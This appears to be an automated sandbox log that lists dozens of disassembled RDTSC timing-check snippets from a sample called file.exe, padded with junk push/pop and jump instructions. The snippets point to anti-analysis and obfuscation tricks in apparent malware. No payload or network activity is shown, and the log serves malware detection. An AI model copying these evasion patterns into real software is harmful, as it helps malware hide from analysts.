Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AFB1F second address: 9AFB44 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9FD0C645F7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b jng 00007F9FD0C645E6h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AFB44 second address: 9AFB58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9FD080A00Ah 0x00000009 popad 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AFCEE second address: 9AFD4F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9FD0C645F8h 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F9FD0C645F2h 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F9FD0C645F6h 0x00000017 jmp 00007F9FD0C645F9h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AFE8D second address: 9AFE9F instructions: 0x00000000 rdtsc 0x00000002 jl 00007F9FD080A006h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push esi 0x0000000f pop esi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AFE9F second address: 9AFEBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F9FD0C645F8h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B0078 second address: 9B0088 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jng 00007F9FD080A006h 0x0000000d pushad 0x0000000e popad 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B0088 second address: 9B00B3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F9FD0C645F9h 0x00000008 jmp 00007F9FD0C645EDh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B37C7 second address: 9B37E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9FD080A00Fh 0x00000009 push esi 0x0000000a pop esi 0x0000000b popad 0x0000000c jl 00007F9FD080A00Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B85B0 second address: 9B85BA instructions: 0x00000000 rdtsc 0x00000002 jng 00007F9FD0C645E6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B81B4 second address: 9B81C6 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F9FD080A006h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jns 00007F9FD080A006h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BB4F2 second address: 9BB508 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jns 00007F9FD0C645ECh 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BB508 second address: 9BB50C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BACB0 second address: 9BACBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F9FD0C645E6h 0x0000000a push edx 0x0000000b pop edx 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BACBD second address: 9BACC3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BAE6C second address: 9BAE83 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9FD0C645F3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BB009 second address: 9BB012 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BB012 second address: 9BB041 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9FD0C645F5h 0x00000009 jmp 00007F9FD0C645F5h 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BB041 second address: 9BB046 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BB046 second address: 9BB091 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jns 00007F9FD0C645F8h 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F9FD0C645F8h 0x00000014 jmp 00007F9FD0C645F2h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BF207 second address: 9BF20B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BECD3 second address: 9BECDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BECDB second address: 9BECEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F9FD080A006h 0x0000000a popad 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BECEB second address: 9BECF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C2F78 second address: 9C2FA0 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F9FD080A00Eh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jnc 00007F9FD080A014h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C2701 second address: 9C270B instructions: 0x00000000 rdtsc 0x00000002 je 00007F9FD0C645E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C2ACA second address: 9C2AD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C2AD0 second address: 9C2AD6 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C2AD6 second address: 9C2B26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F9FD080A00Ch 0x0000000b jmp 00007F9FD080A018h 0x00000010 pushad 0x00000011 jmp 00007F9FD080A00Fh 0x00000016 jmp 00007F9FD080A014h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C7383 second address: 9C738B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C738B second address: 9C73BC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 jmp 00007F9FD080A014h 0x0000000a popad 0x0000000b push esi 0x0000000c ja 00007F9FD080A006h 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 pop esi 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push ecx 0x00000018 push eax 0x00000019 push edx 0x0000001a jno 00007F9FD080A006h 0x00000020 push eax 0x00000021 pop eax 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C74EA second address: 9C7506 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F9FD0C645ECh 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jnp 00007F9FD0C645E6h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C7506 second address: 9C7515 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jne 00007F9FD080A006h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C7515 second address: 9C751D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C7660 second address: 9C769A instructions: 0x00000000 rdtsc 0x00000002 jng 00007F9FD080A01Fh 0x00000008 jmp 00007F9FD080A00Eh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jl 00007F9FD080A01Ch 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C769A second address: 9C76A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C7806 second address: 9C7811 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pushad 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C7811 second address: 9C781C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C781C second address: 9C7830 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9FD080A010h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C7830 second address: 9C783D instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F9FD0C645E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96D514 second address: 96D52D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9FD080A015h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96D52D second address: 96D537 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F9FD0C645E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96D537 second address: 96D5A8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9FD080A012h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e mov dx, si 0x00000011 push 00000004h 0x00000013 push 00000000h 0x00000015 push ecx 0x00000016 call 00007F9FD080A008h 0x0000001b pop ecx 0x0000001c mov dword ptr [esp+04h], ecx 0x00000020 add dword ptr [esp+04h], 00000014h 0x00000028 inc ecx 0x00000029 push ecx 0x0000002a ret 0x0000002b pop ecx 0x0000002c ret 0x0000002d mov dword ptr [ebp+122D3AF4h], edx 0x00000033 jmp 00007F9FD080A012h 0x00000038 mov dword ptr [ebp+122D2805h], ebx 0x0000003e push eax 0x0000003f push eax 0x00000040 push edx 0x00000041 jmp 00007F9FD080A014h 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D0947 second address: 9D094D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CE9BB second address: 9CE9C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CEDF9 second address: 9CEE16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 popad 0x00000008 jp 00007F9FD0C645E6h 0x0000000e popad 0x0000000f jo 00007F9FD0C645F2h 0x00000015 jbe 00007F9FD0C645E6h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CEE16 second address: 9CEE2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F9FD080A012h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CEE2F second address: 9CEE4D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F9FD0C645F1h 0x00000008 jnl 00007F9FD0C645E6h 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CF187 second address: 9CF1BA instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jl 00007F9FD080A006h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F9FD080A010h 0x00000011 push edi 0x00000012 jmp 00007F9FD080A014h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CFA69 second address: 9CFA79 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jo 00007F9FD0C645FDh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CFFD1 second address: 9CFFD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CFFD6 second address: 9CFFDC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CFFDC second address: 9CFFE0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D05E7 second address: 9D05FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9FD0C645EEh 0x00000009 popad 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D05FF second address: 9D0603 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D0603 second address: 9D0607 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D7462 second address: 9D7472 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 js 00007F9FD080A006h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DA2D7 second address: 9DA2DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DA2DB second address: 9DA2ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnl 00007F9FD080A00Ch 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DA2ED second address: 9DA2FD instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push esi 0x00000004 pop esi 0x00000005 pushad 0x00000006 popad 0x00000007 pop esi 0x00000008 jng 00007F9FD0C645FFh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DA5BB second address: 9DA5C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DA5C1 second address: 9DA5C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DA5C5 second address: 9DA5ED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9FD080A00Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F9FD080A018h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DA5ED second address: 9DA5F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DA89D second address: 9DA8A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DA8A5 second address: 9DA8B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F9FD0C645E6h 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DA8B0 second address: 9DA8B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DA8B8 second address: 9DA8E6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9FD0C645F0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F9FD0C645EEh 0x00000010 jmp 00007F9FD0C645EAh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DAA0D second address: 9DAA11 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DAA11 second address: 9DAA1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DAA1D second address: 9DAA21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DAA21 second address: 9DAA33 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F9FD0C645EAh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DAB6F second address: 9DAB8B instructions: 0x00000000 rdtsc 0x00000002 jg 00007F9FD080A006h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jnl 00007F9FD080A012h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DAB8B second address: 9DAB95 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F9FD0C645E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DAD1F second address: 9DAD3D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007F9FD080A00Fh 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E187A second address: 9E18A0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9FD0C645F6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f pop eax 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E18A0 second address: 9E18AE instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b pop eax 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E1CC8 second address: 9E1CCC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E1CCC second address: 9E1CDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edi 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E1CDA second address: 9E1CE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop eax 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E1CE1 second address: 9E1D08 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 jmp 00007F9FD0EA45C6h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d pushad 0x0000000e jbe 00007F9FD0EA45B6h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E1E75 second address: 9E1E79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E1FA1 second address: 9E1FA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E1FA5 second address: 9E1FA9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E2204 second address: 9E221B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9FD0EA45C3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E221B second address: 9E2225 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F9FD0CB38B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E2225 second address: 9E224D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9FD0EA45C6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jl 00007F9FD0EA45DBh 0x0000000f js 00007F9FD0EA45BEh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E23BC second address: 9E23D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jmp 00007F9FD0CB38BFh 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E14BC second address: 9E14DA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9FD0EA45C0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jp 00007F9FD0EA45B6h 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E9892 second address: 9E9896 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E9896 second address: 9E98A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007F9FD0EA45BEh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E9A1A second address: 9E9A2E instructions: 0x00000000 rdtsc 0x00000002 jp 00007F9FD0CB38B6h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jng 00007F9FD0CB38B6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EB201 second address: 9EB205 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FF18F second address: 9FF194 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
